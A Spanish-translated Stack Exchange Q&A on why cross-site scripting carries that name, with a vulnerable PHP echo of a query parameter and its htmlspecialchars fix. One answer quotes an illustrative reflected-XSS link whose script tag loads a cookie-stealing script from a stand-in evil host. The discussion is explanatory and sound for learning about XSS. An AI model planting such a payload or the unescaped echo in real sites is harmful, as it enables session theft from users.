¿Por qué se llama scripts entre sitios? (XSS)

14

¿Por qué las secuencias de comandos entre sitios se llaman secuencias de comandos entre sitios? El término implica para mí (un hablante no nativo de inglés) que hay algún otro sitio web involucrado que ataca su sitio web, pero la mayoría de las veces este no es el caso, ¿verdad? (Demonios, tampoco siempre incluye secuencias de comandos (que suministran JavaScript al usuario). Una interfaz HTML falsificada también suele ser una estrategia de ejecución viable).

Tal como lo entiendo, lo que llamamos XSS se debe a un escape insuficiente de la entrada del usuario y ocurre principalmente en las aplicaciones web, como se muestra en esta pregunta . Por ejemplo, el siguiente fragmento de código es vulnerable:

<?php
echo $_GET['q'];
?>

Pero lo siguiente lo corrige [1] :

<?php
echo htmlspecialchars($_GET['q']);
?>

La entrada del usuario también se puede almacenar en la base de datos, y lo mismo sucede si la entrada no se escapa cuando se devuelve para su visualización. Y, de hecho, este parece ser el método de ataque que es el más beneficioso para el atacante (afecta a la mayoría de los usuarios) y, por lo tanto, el más utilizado.

Siento que la falta de claridad del término conduce a trabajos de pirateo como eliminando caracteres ofensivos o cadenas de entrada del usuario y otra confusión ( aparentemente, permitir JavaScript válido en la base de datos está mal ) cuando las personas sin experiencia están tratando de parchear por ello.

En lugar del término abstracto XSS, ¿algo como falta de escape no funcionaría igual de bien, y sería mucho más claro? ¿O hay algo más que el término XSS abarca?

[1]: Suponiendo que estamos en medio de una página HTML, por supuesto.

    
pregunta oals 01.09.2016 - 11:23
fuente

2 respuestas

8

Desde el enlace schroeder dio en el comentario el origen de la "Cruz" en XSS se hace evidente : el primer XSS fue porque Alex va a evilsite.com y ve un enlace que dice: 'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>' . Al hacer clic en el enlace en evilsite.com se redirige a nicesite.com. La combinación de nicesite.com que no logra escapar del parámetro de consulta puppies&<script src="evilsite.com/steal_auth_cookie.js"></script> antes de escribirlo en la página produce el ataque entre sitios cargando la secuencia de comandos evilsite.com. ( ejemplo simplificado del artículo de wikipedia ). Este ataque (conocido específicamente como un XSS reflejado y no persistente) se realiza en varios sitios porque proviene de y requiere de evil.com, en lugar de solo requerir una vulnerabilidad en nicesite.com.

  

Los ingenieros de seguridad de Microsoft introdujeron el término " scripting entre sitios "en enero de 2000 . La expresión "secuencias de comandos entre sitios" originalmente se refería al acto de cargar la aplicación web de terceros atacada desde un sitio de ataque no relacionado, de una manera que ejecuta un fragmento de JavaScript preparado por el atacante en el contexto de seguridad del objetivo. dominio (aprovechando una vulnerabilidad XSS reflejada o no persistente).

Continúa explicando que el término XSS se ha ampliado para incluir ahora cosas que no involucran sitios cruzados.

  

La definición se expandió gradualmente para abarcar otros modos de inyección de código, incluidos vectores persistentes y no JavaScript (incluidos ActiveX, Java, VBScript, Flash o incluso scripts de HTML), causando cierta confusión a los recién llegados al campo de la seguridad de la información.

Con respecto a un nombre diferente, más descriptivo y menos confuso. Según mi investigación, parece que tiene razón al afirmar que esta es una clase de vulnerabilidades que evitan que el contenido del usuario no se escape. Nombrar es difícil por lo que es poco probable que cambie. El único en el que pude pensar brevemente fue Unescaped Scripting Attack, ¡pero el acrónimo USA ya está en uso!

Por cierto, esta es una pregunta excelente y una que me planteé.

    
respondido por el AJP 08.06.2017 - 12:12
fuente
5

El sitio en las secuencias de comandos entre sitios se relaciona con un sitio (host, máquina, lado del cliente, lado del servidor, ubicación, entorno y demás) no para el sitio web . Esto puede causar la confusión. Además, se seleccionó la X (cruz) en lugar de la C para distinguir entre el lenguaje de estilo y este tipo de ataque.

    
respondido por el Yorick de Wid 01.09.2016 - 11:28
fuente

Lea otras preguntas en las etiquetas